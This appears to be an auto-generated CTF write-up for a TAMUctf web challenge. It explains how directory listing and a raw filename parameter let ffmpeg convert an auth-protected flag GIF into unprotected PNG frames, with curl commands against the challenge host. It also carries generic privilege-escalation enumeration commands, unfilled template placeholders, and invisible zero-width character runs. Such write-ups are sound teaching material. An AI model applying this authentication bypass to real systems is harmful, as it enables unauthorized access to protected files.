← Back to Writeups
HTBN/AWeb

Bad Apple

XESXOR8/23/20263 min read
#web#htb#n/a

Bad Apple

Platform: Tamuctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-03-21 | Status: Solved Techniques: auth_bypass_via_format_conversion, directory_listing_exploitation, input_sanitization_bypass, visual_flag_extraction

Summary

A Flask web app that converts uploaded videos/GIFs to frames using ffmpeg, with Apache serving files. The challenge name "Bad Apple" is a famous Touhou reference. The goal is to retrieve a flag hidden in a GIF file that is protected by HTTP Basic Auth.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: tamuctf | ID: 20260321_tamuctf_bad_apple
  • Tags: flask, path_traversal, file_upload, apache, idor, directory_listing, auth_bypass, ffmpeg, gif_to_frames
  • Indicators: Options +Indexes in Apache config, FilesMatch with AuthType Basic, secure_filename() on some but not all parameters, ffmpeg frame extraction, different auth rules for different file extensions
  • Source: 20260321_tamuctf_bad_apple.md

Foothold

Vulnerability / Misconfiguration

  1. Auth_bypass_via_format_conversion
  2. Directory_listing_exploitation
  3. Input_sanitization_bypass
  4. Visual_flag_extraction
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • auth_bypass_via_format_conversion
  • directory_listing_exploitation
  • input_sanitization_bypass
  • visual_flag_extraction
  • Tags: flask, path_traversal, file_upload, apache, idor, directory_listing, auth_bypass, ffmpeg, gif_to_frames

Original Writeup

<details><summary>Click to expand original content</summary>

Description

funny touhou reference

A Flask web app that converts uploaded videos/GIFs to frames using ffmpeg, with Apache serving files. The challenge name "Bad Apple" is a famous Touhou reference. The goal is to retrieve a flag hidden in a GIF file that is protected by HTTP Basic Auth.

Analysis

Architecture

  • Flask app (wsgi_app.py): Handles file upload, conversion to frames via ffmpeg, and frame listing
  • Apache: Serves static files with directory indexing enabled on /browse
  • Auth: .gif files require HTTP Basic Auth, but .png files do not ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Files from Dockerfile

CMD ["sh", "-c", "HEX=$(openssl rand -hex 16) && mv /srv/http/uploads/admin/flag.gif /srv/http/uploads/admin/$HEX-flag.gif && echo $HEX > /srv/http/.flag_secret && httpd -DFOREGROUND"]
  • Flag GIF is renamed with random 16-byte hex prefix on startup
  • Original location: /srv/http/uploads/admin/flag.gif/srv/http/uploads/admin/$HEX-flag.gif

Apache Configuration (httpd-append.conf)

Alias /browse /srv/http/uploads
<Directory /srv/http/uploads>
    Options +Indexes
    ...
    <FilesMatch "\.gif$">
        AuthType Basic
        AuthName "Admin Area"
        AuthUserFile /srv/http/.htpasswd
        Require valid-user
    </FilesMatch>
</Directory>
  • Directory listing enabled (Options +Indexes) — can enumerate files
  • Only .gif files require auth — .png frames are unprotected ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability in /convert Endpoint

@app.route('/convert')
def convert():
    user_id = request.args.get('user_id', 'anonymous')
    filename = request.args.get('filename', '')

    input_path = os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(user_id), filename)
    # ...
    output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)

Critical flaw: user_id is sanitized with secure_filename(), but filename is used RAW. This allows:

  1. Setting user_id=admin (passes through secure_filename() unchanged)
  2. Referencing any file in the admin directory directly
  3. Output frames go to /srv/http/static/frames/admin/ — served as PNG with NO auth ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Discover Flag Filename via Directory Listing

curl https://bad-apple.tamuctf.com/browse/admin/

Response shows: c1ece5e67d2d5366ab40d069fb2fd0ea-flag.gif

Direct download is blocked by HTTP Basic Auth.

Step 2: Convert Protected GIF to Unprotected PNG Frames

curl "https://bad-apple.tamuctf.com/convert?user_id=admin&filename=c1ece5e67d2d5366ab40d069fb2fd0ea-flag.gif"

This triggers ffmpeg to:

  1. Read the auth-protected GIF (server-side, no auth needed)
  2. Extract frames to /srv/http/static/frames/admin/c1ece5e67d2d5366ab40d069fb2fd0ea-flag/
  3. Frames are served as PNG files — no auth required! ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Retrieve Extracted Frames

curl "https://bad-apple.tamuctf.com/get_frames?user_id=admin&gif_name=c1ece5e67d2d5366ab40d069fb2fd0ea-flag"

Returns list of 155 PNG frames. Download and view them:

for i in $(seq -w 1 155); do
    curl -O "https://bad-apple.tamuctf.com/static/frames/admin/c1ece5e67d2d5366ab40d069fb2fd0ea-flag/frame_00${i}.png"
done

Step 4: Read Flag from Frames

The GIF contains scrolling text. Reading across the frames reveals the flag.

Leet speak decode: "easy tohou flag rite" ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR